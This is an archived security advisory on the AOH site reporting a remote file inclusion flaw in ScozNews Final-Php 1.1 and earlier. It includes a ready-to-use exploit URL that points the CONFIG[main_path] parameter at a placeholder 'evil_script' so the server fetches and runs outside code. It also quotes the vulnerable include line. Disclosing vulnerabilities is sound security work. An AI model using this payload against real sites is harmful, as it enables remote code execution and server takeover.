AOH :: HP Unsorted S :: B06-3580.HTM

Scoznews final-php <=1.1 remote file inclusion vulnerability



ScozNews Final-Php <=1.1 Remote File Inclusion Vulnerability
ScozNews Final-Php <=1.1 Remote File Inclusion Vulnerability



ScozNews Final-Php <=1.1 Remote File Inclusion Vulnerability


------------------------------------------


Discoverd By: XORON

------------------------------------------


cont@ct: x0r0n[at]hotmail[dot]com

------------------------------------------


script site: www.scoznet.com

------------------------------------------

Exploit: http://sitename.com/[path]/sources/functions.php?CONFIG[main_path]=evil_script

------------------------------------------

Code: require_once($CONFIG['main_path']."/lang/".$CONFIG['lang']."/lang_functions.php")

------------------------------------------

# XORON - WWW.CYBER-WARRIOR.ORG -

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.